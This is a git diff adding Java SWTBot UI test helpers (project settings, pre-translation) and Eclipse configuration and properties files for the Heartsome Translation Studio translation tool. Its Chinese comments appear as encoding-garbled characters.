dlgInfo = new InformationDialog(InformationDialog.dlgTitleTips, + InformationDialog.msgNoMatchInDB); + dlgInfo.btnOK().click(); + Waits.shellClosed(dlgInfo); + } catch (WidgetNotFoundException e) { + // e.printStackTrace(); + } + assertTrue("未正确选择记忆库:" + tMDBName, + dlgPrjSetting.table().containsTextInColumn(tMDBName, dlgPrjSetting.tblColName())); + } + nextAction(nextAction); + } + + /** + * 设置术语库 + * @param from + * 功能入å£ï¼Œè¯·ä½¿ç”¨ TSUIConstants ç±»æ供的常é‡; + * @param nextAction + * 下一步æ“作,请使用本类æ供的常é‡; + */ + public void setTBDB(Entry from, NextAction nextAction) { + if (dlgPrjSetting == null) { + openPrjSettingDlg(from); + } + dlgPrjSetting.treiTbSetting().select(); + if (!dlgPrjSetting.table().containsTextInColumn(tBDBName, dlgPrjSetting.tblColName())) { + if (isTBDBExist) { + dlgPrjSetting.btnAdd().click(); + DBManagement dbMgmt = new DBManagement(row); + dbMgmt.selectDB(tBDBName); + } else { + dlgPrjSetting.btnCreate().click(); + // TODO åŒä¸Š + } + try { + InformationDialog dlgInfo = new InformationDialog(InformationDialog.dlgTitleTips, + InformationDialog.msgNoMatchInDB); + dlgInfo.btnOK().click(); + Waits.shellClosed(dlgInfo); + } catch (WidgetNotFoundException e) { + e.printStackTrace(); + } + assertTrue("未正确选择术语库:" + tBDBName, + dlgPrjSetting.table().containsTextInColumn(tBDBName, dlgPrjSetting.tblColName())); + } + nextAction(nextAction); + } + + /** + * æ“作完æˆåŽçš„下一步动作 + * @param nextAction + * 动作代ç ï¼Œæœ¬ç±»å¸¸é‡; + */ + private void nextAction(NextAction nextAction) { + switch (nextAction) { + case OK: { + dlgPrjSetting.btnOK().click(); + Waits.shellClosed(dlgPrjSetting); + break; + } + case CANCEL: { + dlgPrjSetting.btnCancel().click(); + Waits.shellClosed(dlgPrjSetting); + break; + } + case WAIT: { + break; + } + default: { + assertTrue("å‚数错误,无此下一步æ“作:" + nextAction, false); + } + } + } + + /** + * 从 Excel 文件中读å–测试数æ®å¹¶èµ‹å€¼ç»™ç›¸åº”å˜é‡; + */ + private void getDataPrjSetting() { + name = data.getTextOrEmpty(ExcelData.colPrjName); + client = data.getTextOrEmpty(ExcelData.colClient); + company = data.getTextOrEmpty(ExcelData.colCompany); + eMail = data.getTextOrEmpty(ExcelData.colEMail); + remark = data.getTextOrEmpty(ExcelData.colRemark); + srcLang = TsUIConstants.getLang(data.getTextOrEmpty(ExcelData.colSrcLang)); + tgtLangs = TsUIConstants.getLangs(data.getTextArray(ExcelData.colTgtLang)); + // dbType = data.getDBType(); + tMDBName = data.getTextOrEmpty(ExcelData.colTMDBName); + tBDBName = data.getTextOrEmpty(ExcelData.colTBDBName); + // address = data.getServer(); + DBManagement dbMgmt = new DBManagement(row); + isTMDBExist = dbMgmt.isDBExist(tMDBName, false); + isTBDBExist = dbMgmt.isExist(tBDBName); + dbMgmt.closeDialog(); + } +} diff --git a/test/net.heartsome.cat.ts.test.basecase/src/net/heartsome/cat/ts/test/basecase/menu/translation/PreTranslate.java b/test/net.heartsome.cat.ts.test.basecase/src/net/heartsome/cat/ts/test/basecase/menu/translation/PreTranslate.java new file mode 100644 index 0000000..27e8a68 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.basecase/src/net/heartsome/cat/ts/test/basecase/menu/translation/PreTranslate.java @@ -0,0 +1,154 @@ +package net.heartsome.cat.ts.test.basecase.menu.translation; + +import static org.junit.Assert.assertTrue; +import net.heartsome.cat.ts.test.basecase.common.ExcelData; +import net.heartsome.cat.ts.test.basecase.menu.file.ProjectFile; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants.Entry; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants.ExpectedResult; +import net.heartsome.cat.ts.test.ui.dialogs.PreTranslateDialog; +import net.heartsome.cat.ts.test.ui.dialogs.PreTranslateResultDialog; +import net.heartsome.cat.ts.test.ui.dialogs.TS; +import net.heartsome.cat.ts.test.ui.views.ProjectTreeView; +import net.heartsome.test.swtbot.utils.HSBot; +import net.heartsome.test.utilities.poi.ExcelUtil.HsSheet.HsRow; + +import org.eclipse.swtbot.swt.finder.exceptions.WidgetNotFoundException; +import org.eclipse.swtbot.swt.finder.keyboard.Keystrokes; +import org.eclipse.swtbot.swt.finder.waits.DefaultCondition; + +/** + * 预翻译基础用例,å°è£…测试该功能常用的方法,预翻译用到的文件ã€æ•°æ®åº“等,需è¦åœ¨æ­¤ç±»ä¹‹å¤–å¤åˆ¶æˆ–设置好。 + * @author felix_lu + * @version + * @since JDK1.6 + */ +public class PreTranslate { + + private TS ts; + private PreTranslateDialog dlgPreTrans; + private PreTranslateResultDialog dlgPreTransResult; + + private HsRow row; + private ExcelData data; + private ProjectFile prjFile; + private String prjName; + private String fileType; + private String filePath; + private String fileName; + private String fileFullPath; + private int dbType; + private String server; + private String port; + private String instance; + private String dbPath; + private String username; + private String password; + private String dbName; + private ExpectedResult expResult; + + /** + * @param row + * 用于读å–测试数æ®çš„ Excel 行对象 + */ + public PreTranslate(HsRow row) { + this.row = row; + data = new ExcelData(row); + ts = TS.getInstance(); + } + + /** + * 选择文件; + */ + private void select() { + prjFile = new ProjectFile(row); + prjFile.select(); + fileFullPath = prjFile.getPath(); + } + + /** + * 打开预翻译对è¯æ¡† + * @param from + * å…¥å£ï¼Œè¯·ä½¿ç”¨ TSUIConstants ç±»æä¾›çš„å¸¸é‡ + * @return 预翻译对è¯æ¡†å¯¹è±¡; + */ + private PreTranslateDialog openPreTransDlg(Entry from) { + select(); + + switch (from) { + case MENU: { + ts.menuTranslationPreTrans().click(); + break; + } + case CONTEXT_MENU: { + ProjectTreeView.getInstance().ctxMenuPreTranslate().click(); + break; + } + case SHORTCUT: { + ProjectTreeView.getTree().pressShortcut(Keystrokes.SHIFT, Keystrokes.F5); + break; + } + default: { + assertTrue("å‚数错误,无此入å£ï¼š" + from, false); + } + } + + dlgPreTrans = new PreTranslateDialog(); + assertTrue("预翻译对è¯æ¡†æœªæ­£ç¡®æ‰“开。", dlgPreTrans.isOpen()); + return dlgPreTrans; + } + + /** + * 预翻译 + * @param from + * å…¥å£ï¼Œè¯·ä½¿ç”¨ TSUIConstants ç±»æ供的常é‡; + */ + public void preTranslate(Entry from) { + getDataPreTrans(); + select(); + openPreTransDlg(from); + assertTrue("未正确添加选中的文件:" + fileFullPath, + dlgPreTrans.table().containsTextInColumn(fileFullPath, dlgPreTrans.tblColFile())); + dlgPreTrans.btnOK().click(); + + HSBot.bot().waitUntil(new DefaultCondition() { + + public boolean test() throws Exception { + try { + dlgPreTransResult = new PreTranslateResultDialog(); + return dlgPreTransResult.isOpen(); + } catch (WidgetNotFoundException e) { + return false; + } + } + + public String getFailureMessage() { + return "未正确显示预翻译结果对è¯æ¡†ã€‚"; + } + }, 3600000); + assertTrue("未正确该文件的预翻译结果:" + fileFullPath, + dlgPreTransResult.table().containsTextInColumn(fileFullPath, dlgPreTransResult.tblColFile())); + dlgPreTransResult.btnOK().click(); + } + + /** + * 从 Excel 文件中读å–测试数æ®; + */ + private void getDataPreTrans() { + assertTrue("å‚数错误,row 为 null。", row != null); + prjName = data.getTextOrEmpty(ExcelData.colPrjName); + fileType = data.getTextOrEmpty(ExcelData.colFileType); + filePath = data.getTextOrEmpty(ExcelData.colFilePath); + fileName = data.getTextOrEmpty(ExcelData.colFileName); + expResult = data.getExpectedResult(); + // dbType = data.getDBType(); + // server = data.getServer(); + // port = data.getPort(); + // instance = data.getInstance(); + // dbPath = data.getDBPath(); + // dbName = data.getDBName(); + // username = data.getUsername(); + // password = data.getPassword(); + } + +} diff --git a/test/net.heartsome.cat.ts.test.feature/.project b/test/net.heartsome.cat.ts.test.feature/.project new file mode 100644 index 0000000..de45c77 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.feature/.project @@ -0,0 +1,17 @@ + + + net.heartsome.cat.ts.test.feature + + + + + + org.eclipse.pde.FeatureBuilder + + + + + + org.eclipse.pde.FeatureNature + + diff --git a/test/net.heartsome.cat.ts.test.feature/build.properties b/test/net.heartsome.cat.ts.test.feature/build.properties new file mode 100644 index 0000000..64f93a9 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.feature/build.properties @@ -0,0 +1 @@ +bin.includes = feature.xml diff --git a/test/net.heartsome.cat.ts.test.feature/feature.xml b/test/net.heartsome.cat.ts.test.feature/feature.xml new file mode 100644 index 0000000..6f404c7 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.feature/feature.xml @@ -0,0 +1,117 @@ + + + + + [Enter Feature Description here.] + + + + [Enter Copyright Description here.] + + + + [Enter License Description here.] + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/test/net.heartsome.cat.ts.test.feature/hs_ts_test.product b/test/net.heartsome.cat.ts.test.feature/hs_ts_test.product new file mode 100644 index 0000000..12bdc08 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.feature/hs_ts_test.product @@ -0,0 +1,71 @@ + + + + + + + + + + + -nl zh + -Dfile.encoding=UTF-8 + -XstartOnFirstThread -Dorg.eclipse.swt.internal.carbon.smallFonts + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/test/net.heartsome.cat.ts.test.feature/projectSet.psf b/test/net.heartsome.cat.ts.test.feature/projectSet.psf new file mode 100644 index 0000000..fe155e1 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.feature/projectSet.psf @@ -0,0 +1,21 @@ + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/test/net.heartsome.cat.ts.test.ui/.classpath b/test/net.heartsome.cat.ts.test.ui/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/test/net.heartsome.cat.ts.test.ui/.project b/test/net.heartsome.cat.ts.test.ui/.project new file mode 100644 index 0000000..4b45bf7 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.ts.test.ui + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/test/net.heartsome.cat.ts.test.ui/.settings/org.eclipse.jdt.core.prefs b/test/net.heartsome.cat.ts.test.ui/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..cd98bc6 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Thu Dec 29 14:37:06 HKT 2011 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/test/net.heartsome.cat.ts.test.ui/META-INF/MANIFEST.MF b/test/net.heartsome.cat.ts.test.ui/META-INF/MANIFEST.MF new file mode 100644 index 0000000..8ddb93a --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/META-INF/MANIFEST.MF @@ -0,0 +1,32 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: net.heartsome.cat.ts.test.ui +Bundle-SymbolicName: net.heartsome.cat.ts.test.ui;singleton:=true +Bundle-Version: 1.0.0.qualifier +Bundle-ActivationPolicy: lazy +Bundle-Vendor: Heartsome +Bundle-RequiredExecutionEnvironment: JavaSE-1.6 +Require-Bundle: org.eclipse.swtbot.go, + net.heartsome.test.swtbot;bundle-version="1.0.0", + net.heartsome.test.utilities;bundle-version="1.0.0", + net.sourceforge.nattable.core;bundle-version="2.1.0", + org.eclipse.nebula.widgets.tablecombo;bundle-version="1.0.0", + net.heartsome.xml +Bundle-ClassPath: . +Export-Package: net.heartsome.cat.ts.test.ui.constants, + net.heartsome.cat.ts.test.ui.dialogs, + net.heartsome.cat.ts.test.ui.editors; + uses:="net.sourceforge.nattable, + org.eclipse.swtbot.swt.finder.widgets, + net.heartsome.test.swtbot.utilities.widgets, + org.hamcrest", + net.heartsome.cat.ts.test.ui.msgdialogs, + net.heartsome.cat.ts.test.ui.tasks, + net.heartsome.cat.ts.test.ui.utils, + net.heartsome.cat.ts.test.ui.views;uses:="org.eclipse.swtbot.eclipse.finder.widgets,org.eclipse.swtbot.swt.finder.widgets,org.eclipse.swtbot.eclipse.finder", + net.heartsome.cat.ts.test.ui.waits +Import-Package: net.heartsome.cat.common.innertag, + net.heartsome.cat.common.locale, + net.heartsome.cat.common.ui.utils, + net.heartsome.cat.ts.core.file, + net.heartsome.cat.ts.ui.editors diff --git a/test/net.heartsome.cat.ts.test.ui/build.properties b/test/net.heartsome.cat.ts.test.ui/build.properties new file mode 100644 index 0000000..34d2e4d --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/build.properties @@ -0,0 +1,4 @@ +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/constants/TsUIConstants.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/constants/TsUIConstants.java new file mode 100644 index 0000000..af5b365 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/constants/TsUIConstants.java @@ -0,0 +1,234 @@ +package net.heartsome.cat.ts.test.ui.constants; + +import static org.junit.Assert.assertTrue; + +import java.util.ArrayList; +import java.util.List; +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +import net.heartsome.cat.common.locale.LocaleService; + +import org.eclipse.swtbot.swt.finder.SWTBot; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotButton; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotCombo; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotList; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotRadio; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotText; + +/** + * @author felix_lu + * @version + * @since JDK1.6 + */ +public final class TsUIConstants { + + private static final String BUNDLE_NAME = "net.heartsome.cat.ts.test.ui.constants.TsUIConstants"; //$NON-NLS-1$ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * ç§æœ‰æž„造函数 + */ + private TsUIConstants() { + // private constructor + } + + /** + * åŠŸèƒ½å…¥å£ + * @author felix_lu + * @version + * @since JDK1.6 + */ + public enum Entry { + MENU, TOOLBAR, SHORTCUT, CONTEXT_MENU, CONTEXT_MENU_ALT, DOUBLE_CLICK, + } + + /** + * 预期结果 + * @author felix_lu + * @version + * @since JDK1.6 + */ + public enum ExpectedResult { + SUCCESS, DUPLICATED_NAME, INVALID_NAME, NO_FILE, NO_DB, FILE_ERROR, WRONG_TYPE, INVALID_FILE, INVALID_PATH, NO_SERVER, NO_PORT, NO_INSTANCE, NO_USERNAME, NO_PATH, CONNECTION_ERROR, LONG_NAME, + } + + /** + * æ›´æ–°ç­–ç•¥ + * @author felix_lu + * @version + * @since JDK1.6 + */ + public enum UpdateMode { + ALWAYS_ADD, OVERWRITE, IGNORE, MERGE, KEEP_CURRENT, OVERWRITE_IF_HIGHER + } + + /** + * æ•°æ®åº“类型 + * @author felix_lu + * @version + * @since JDK1.6 + */ + public enum DB { + INTERNAL, MYSQL, ORACLE, POSTGRESQL, MSSQL, + } + + /** + * 导入类型 + * @author felix_lu + * @version + * @since JDK1.6 + */ + public enum ImportType { + TMX, TBX, + } + + /** + * 资æºç±»åž‹ + * @author felix_lu + * @version + * @since JDK1.6 + */ + public enum ResourceType { + PROJECT, FOLDER, FILE, + } + + /** + * æ ‡è®°æ ·å¼ + * @author felix_lu + * + */ + public enum TagStyle { + INDEX, SIMPLE, FULL, + } + + /** + * æ ¹æ® key,获得相应的 value 值 + * @param key + * @return ; + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } + + /** + * @param langCode + * è¯­è¨€ä»£ç  + * @return å­—ç¬¦ä¸²ï¼šè¯­è¨€ä»£ç  ï¼‹ 空格 + 语言å称; + */ + public static String getLang(String langCode) { + String lang = LocaleService.getLanguage(langCode); + assertTrue("未找到该语言代ç å¯¹åº”的语言:" + langCode, !"".equals(lang)); + return lang; + } + + /** + * @param langCodes + * 语言代ç æ•°ç»„ + * @return 语言数组,æ¯ä¸ªå€¼ä¸ºå­—ç¬¦ä¸²ï¼šè¯­è¨€ä»£ç  ï¼‹ 空格 + 语言å称; + */ + public static String[] getLangs(String... langCodes) { + int len = langCodes.length; + String[] langs = new String[len]; + for (int i = 0; i < len; i++) { + langs[i] = getLang(langCodes[i]); + } + return langs; + } + + /** + * @param langCodes + * @return 语言 List; + */ + public static List getLangs(List langCodes) { + List lang = new ArrayList(); + for (String langCode : langCodes) { + lang.add(getLang(langCode)); + } + return lang; + } + + /** + * @param bot + * 对è¯æ¡†çš„ SWTBot 对象 + * @param buttonKey + * 按钮上的文字标签 + * @param index + * ç´¢å¼•å· + * @return + */ + public static SWTBotButton button(SWTBot bot, String buttonKey, int index) { + return bot.button(getString(buttonKey), index); + } + + /** + * @param bot + * 对è¯æ¡†çš„ SWTBot 对象 + * @param buttonKey + * 按钮上的文字标签 + * @return + */ + public static SWTBotButton button(SWTBot bot, String buttonKey) { + return bot.button(getString(buttonKey)); + } + + /** + * @param bot + * 对è¯æ¡†çš„ SWTBot 对象 + * @param labelKey + * 列表的文字标签 + * @return + */ + public static SWTBotList listWithLabel(SWTBot bot, String labelKey) { + return bot.listWithLabel(getString(labelKey)); + } + + /** + * @param bot + * @param valueKey + * @return ; + */ + public static SWTBotCombo comboBox(SWTBot bot, String valueKey) { + return bot.comboBox(getString(valueKey)); + } + + /** + * @param bot + * @param labelKey + * @return ; + */ + public static SWTBotCombo comboBoxWithLabel(SWTBot bot, String labelKey) { + return bot.comboBoxWithLabel(getString(labelKey)); + } + + /** + * @param bot + * @param textKey + * @return ; + */ + public static SWTBotText text(SWTBot bot, String textKey) { + return bot.text(getString(textKey)); + } + + /** + * @param bot + * @param labelKey + * @return ; + */ + public static SWTBotText textWithLabel(SWTBot bot, String labelKey) { + return bot.textWithLabel(getString(labelKey)); + } + + /** + * @param bot + * @param radioKey + * @return ; + */ + public static SWTBotRadio radio(SWTBot bot, String radioKey) { + return bot.radio(getString(radioKey)); + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/constants/TsUIConstants.properties b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/constants/TsUIConstants.properties new file mode 100644 index 0000000..a3ac803 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/constants/TsUIConstants.properties @@ -0,0 +1,590 @@ +# ##################### +# # \u754c\u9762\u901a\u7528 # +# ##################### + +btnCancel = Cancel +btnCancelC = \u53d6\u6d88(C) +btnYes = Yes +btnNo = No +btnOK = OK +btnOKO = \u786e\u5b9a(O) +btnClose = \u5173\u95ed +btnSave = \u4fdd\u5b58 +dbPostgreSQL = PostgreSQL +dbMySQL = MySQL 5.x +dbOracle = Oracle +dbInternal = Internal DB +dbMSSQL = MsSQL2005 +tlbBtnWTltCancelOperation = Cancel Operation + + +# ##################### +# # \u4e3b\u754c\u9762 # +# ##################### + +TsTitle = Heartsome Translation Studio + +# \u900f\u89c6\u56fe\u680f +psptvBtnWTltOpen = Open Perspective +psptvBtnDefault = \u9ed8\u8ba4\u5e03\u5c40 + +# \u5de5\u5177\u680f +tlbBtnWTltSave = Save +tlbBtnWTltChangeEditorLayout = \u6539\u53d8\u5e03\u5c40 +tlbBtnTagDisplayMode = \u8bbe\u7f6e\u5185\u90e8\u6807\u8bb0\u663e\u793a\u72b6\u6001 +tlbBtnWTltSourceTextEditMode = \u5207\u6362\u6e90\u6587\u672c\u53ef\u7f16\u8f91\u72b6\u6001 +tlbBtnWTltConvert = Convert + +# \u72b6\u6001\u680f +stbGroupSign = \ |\ +stbDelimiter = \uff1a +stbiCurrentFile = \u5f53\u524d\u6587\u4ef6 +stbiSegmentNumber = \u987a\u5e8f\u53f7 +stbiVisibleSegmentCount = \u53ef\u7f16\u8f91\u6587\u672c\u6bb5\u6570 +stbiSegmentTotalCount = \u6587\u672c\u6bb5\u603b\u6570 +stbiUsername = \u7528\u6237\u540d + +# \u83dc\u5355\u9879 +# \u6587\u4ef6 +menuFile = \u6587\u4ef6(F) +menuFileNew = \u65b0\u5efa +menuFileNewProject = \u65b0\u5efa\u9879\u76ee... +menuFileClose = \u5173\u95ed +menuFileCloseAll = \u5173\u95ed\u6240\u6709 +menuFileSave = \u4fdd\u5b58 +menuFileSaveAs = \u53e6\u5b58\u4e3a... +menuFileSaveAll = \u4fdd\u5b58\u6240\u6709 +menuFileExit = \u9000\u51fa + +# \u7f16\u8f91 +menuEdit = \u7f16\u8f91(E) +menuEditUndo = Undo +menuEditRedo = Redo +menuEditCut = Cut +menuEditCopy = Copy +menuEditPaste = Paste +menuEditDelete = \u5220\u9664 +menuEditSelectAll = Select All +menuEditFindReplace = Find/Replace... +menuEditInsertTag = \u63d2\u5165\u6807\u8bb0 +menuEditQuickTag = \u5feb\u901f\u6807\u8bb0 +menuEditQuickTag1 = \u300a1\u300b +menuEditQuickTag2 = \u300a2\u300b +menuEditQuickTag3 = \u300a3\u300b +menuEditQuickTag4 = \u300a4\u300b +menuEditQuickTag5 = \u300a5\u300b +menuEditQuickTag6 = \u300a6\u300b +menuEditQuickTag7 = \u300a7\u300b +menuEditQuickTag8 = \u300a8\u300b +menuEditQuickTag9 = \u300a9\u300b +menuEditQuickTag10 = \u300a10\u300b +menuEditInsertNextTag = \u63d2\u5165\u4e0b\u4e00\u6807\u8bb0 +menuEditDeleteAllTags = \u5220\u9664\u6240\u6709\u6807\u8bb0 +menuEditChangeCase = \u66f4\u6539\u5927\u5c0f\u5199 +menuEditChangeCaseSentence = \u53e5\u9996\u5927\u5199 +menuEditChangeCaseLower = \u5c0f\u5199 +menuEditChangeCaseUpper = \u5927\u5199 +menuEditChangeCaseTitle = \u6807\u9898\u5927\u5199 +menuEditChangeCaseSwitch = \u5927\u5c0f\u5199\u5207\u6362 +menuEditPreferences = Preferences + +# \u67e5\u770b +menuView = \u67e5\u770b +menuViewTMMatchesPanel = \u67e5\u770b\u7ffb\u8bd1\u8bb0\u5fc6\u5e93\u5339\u914d\u9762\u677f +menuViewQuickTranslationPanel = \u67e5\u770b\u5feb\u901f\u7ffb\u8bd1\u9762\u677f +menuViewNotesPanel = \u67e5\u770b\u6279\u6ce8\u9762\u677f +menuViewTerminologyPanel = \u67e5\u770b\u672f\u8bed\u9762\u677f +menuViewDocumentPropertiesPanel = \u67e5\u770b\u6587\u6863\u5c5e\u6027\u9762\u677f + +# \u6570\u636e\u5e93 +menuDB = \u6570\u636e\u5e93(D) +menuDBManagement = \u8bb0\u5fc6\u5e93\u7ba1\u7406... +menuTeriDBManagement = \u672f\u8bed\u5e93\u7ba1\u7406... +menuDBImportTMXFile = \u5bfc\u5165 TMX \u6587\u4ef6... +menuDBExportAsTMX = \u5bfc\u51fa\u4e3a TMX \u6587\u4ef6... +menuDBImportTBXFile = \u5bfc\u5165 TBX \u6587\u4ef6... +menuDBExportAsTBX = \u5bfc\u51fa\u4e3a TBX \u6587\u4ef6... +#menuDBCSVTemplate = \u751f\u6210CSV\u6a21\u677f +#menuDBImportCSVFile = \u5bfc\u5165CSV\u6587\u4ef6 +#menuDBExportAsCSVFile = \u5bfc\u51faCSV\u6587\u4ef6 + +# \u8f6c\u6362\u5668 +menuConverter = Converter +menuConverterOpenConversionDialog = Open Conversion Dialog +menuConverterOpenReverseConversionDialog = Open Reverse Conversion Dialog +menuConverterOpenProjectConversionDialog = Open Project Conversion Dialog +menuConverterOpenProjectReverseConversionDialog = Open Project Reverse Conversion Dialog + +# \u7a97\u53e3 +menuWindow = Window +menuWindowShowCoolbar = Show CoolBar +menuWindowSavePerspectiveAs = Save Perspective As.. +menuWindowResetPerspectvie = Reset Perspectvie... +menuWindowClosePerspective = Close Perspective +menuWindowCloseAllPerspectives = Close All Perspectives + +# \u7ffb\u8bd1 +menuTranslation = \u7ffb\u8bd1(T) +menuTranslationPreTrans = \u9884\u7ffb\u8bd1... +menuTranslationCopySourceToTarget = \u590d\u5236\u6765\u6e90\u5230\u76ee\u6807 +menuTranslationSearchTermDB = \u641c\u7d22\u672f\u8bed\u5e93... +menuTranslationSearchTMDB = \u76f8\u5173\u641c\u7d22... +menuTranslationAddToTermDB = \u6dfb\u52a0\u672f\u8bed\u5230\u672f\u8bed\u5e93... +menuTranslationAddToTM = \u6dfb\u52a0\u9009\u4e2d\u6587\u672c\u6bb5\u5230\u8bb0\u5fc6\u5e93 +menuTranslationAddToTMAndNext = \u6dfb\u52a0\u5230\u8bb0\u5fc6\u5e93\u5e76\u8df3\u8f6c\u5230\u4e0b\u4e00\u6587\u672c\u6bb5 +menuTranslationAddToTMAndNextNon100Match = \u6dfb\u52a0\u5230\u8bb0\u5fc6\u5e93\u5e76\u8df3\u8f6c\u5230\u4e0b\u4e00\u975e\u5b8c\u5168\u5339\u914d +menuTranslationApproveSegment = \u6279\u51c6\u6587\u672c\u6bb5 +menuTranslationLockSegment = \u9501\u5b9a\u6587\u672c\u6bb5 +menuTranslationLockRepetition = \u9501\u5b9a\u91cd\u590d\u6587\u672c\u6bb5 +menuTranslationSplitSegment = \u5206\u5272\u6587\u672c\u6bb5 +menuTranslationMergeSegments = \u5408\u5e76\u6587\u672c\u6bb5 +menuTranslationDeleteTranslation = \u5220\u9664\u8bd1\u6587 +menuTranslationDeleteNotes = \u5220\u9664\u6279\u6ce8 +menuTranslationDeleteMatches = \u5220\u9664\u5339\u914d +menuTranslationQuickTranslate = \u6267\u884c\u5feb\u901f\u7ffb\u8bd1 +menuTranslationPropagateTranslate = \u6267\u884c\u7e41\u6b96\u7ffb\u8bd1 +#menuTranslationAccept100MatchesForAllSegments = \u63a5\u53d7\u6240\u6709\u6587\u672c\u6bb5\u7684100%\u5339\u914d +#menuTranslationAcceptAndApprove100MatchesForAllSegments = \u63a5\u53d7\u5e76\u6279\u51c6\u6240\u6709\u6587\u672c\u6bb5\u7684100%\u5339\u914d +#menuTranslationAccept101MatchesForAllSegments = \u63a5\u53d7\u6240\u6709\u6587\u672c\u6bb5\u7684101%\u5339\u914d +#menuTranslationAcceptAndApprove101MatchesForAllSegments = \u63a5\u53d7\u5e76\u6279\u51c6\u6240\u6709\u6587\u672c\u6bb5\u7684101%\u5339\u914d + +# \u8f6c\u5230 +menuGoto = \u8f6c\u5230 +menuGotoPreviousSegment = \u4e0a\u4e00\u6587\u672c\u6bb5 +menuGotoNextSegment = \u4e0b\u4e00\u6587\u672c\u6bb5 +menuGotoFirstSegment = \u7b2c\u4e00\u4e2a\u6587\u672c\u6bb5 +menuGotoLastSegment = \u4e0b\u4e00\u4e2a\u6587\u672c\u6bb5 +menuGotoPreivousSegmentWithNotes = \u4e0a\u4e00\u5e26\u6279\u6ce8\u7684\u6587\u672c\u6bb5 +menuGotoNextSegmentWithNotes = \u4e0b\u4e00\u5e26\u6279\u6ce8\u7684\u6587\u672c\u6bb5 +menuGotoPreivousSegmentWithFuzzyMatch = \u4e0a\u4e00\u6a21\u7cca\u5339\u914d\u6587\u672c\u6bb5 +menuGotoNextSegmentWithFuzzyMatch = \u4e0b\u4e00\u6a21\u7cca\u5339\u914d\u6587\u672c\u6bb5 +menuGotoPreivousUntranslatableSegment = \u4e0a\u4e00\u4e0d\u53ef\u7ffb\u8bd1\u6587\u672c\u6bb5 +menuGotoNextUntranslatableSegment = \u4e0b\u4e00\u4e0d\u53ef\u7ffb\u8bd1\u6587\u672c\u6bb5 +menuGotoPreivousUntranslatedSegment = \u4e0a\u4e00\u672a\u7ffb\u8bd1\u6587\u672c\u6bb5 +menuGotoNextUntranslatedSegment = \u4e0b\u4e00\u672a\u7ffb\u8bd1\u6587\u672c\u6bb5 +menuGotoPreivousUnapprovedSegment = \u4e0a\u4e00\u672a\u6279\u51c6\u6587\u672c\u6bb5 +menuGotoNextUnapprovedSegment = \u4e0b\u4e00\u672a\u6279\u51c6\u6587\u672c\u6bb5 +menuGotoPreivousQuickTranslation = \u4e0a\u4e00\u5feb\u901f\u5339\u914d +menuGotoNextQuickTranslation = \u4e0b\u4e00\u5feb\u901f\u5339\u914d +menuGotoPreivousMatch = \u4e0a\u4e00\u5339\u914d\u7684\u7ffb\u8bd1 +menuGotoNextMatch = \u4e0b\u4e00\u5339\u914d\u7684\u7ffb\u8bd1 + +# \u54c1\u8d28\u68c0\u67e5 +menuQA = \u54c1\u8d28\u68c0\u67e5 +menuQAPreviewTranslation = \u9884\u89c8\u7ffb\u8bd1 + +# \u5e2e\u52a9 +menuHelp = Help +menuHelpHelpContents = Help Contents +menuHelpSearch = Search +menuHelpDynamicHelp = Dynamic Help +menuHelpKeyAssist = Key Assist... +menuHelpAbout = About Heartsome Translation Studio + + +# ######################### +# # XLIFF \u7f16\u8f91\u5668 # +# ######################### + +txtLineNumber = \ \ \u8bf7\u8f93\u5165\u884c\u53f7\ \ +cmbSegFilterAllSegments = \u6240\u6709\u6587\u672c\u6bb5 +btnAddCustomFilter = + 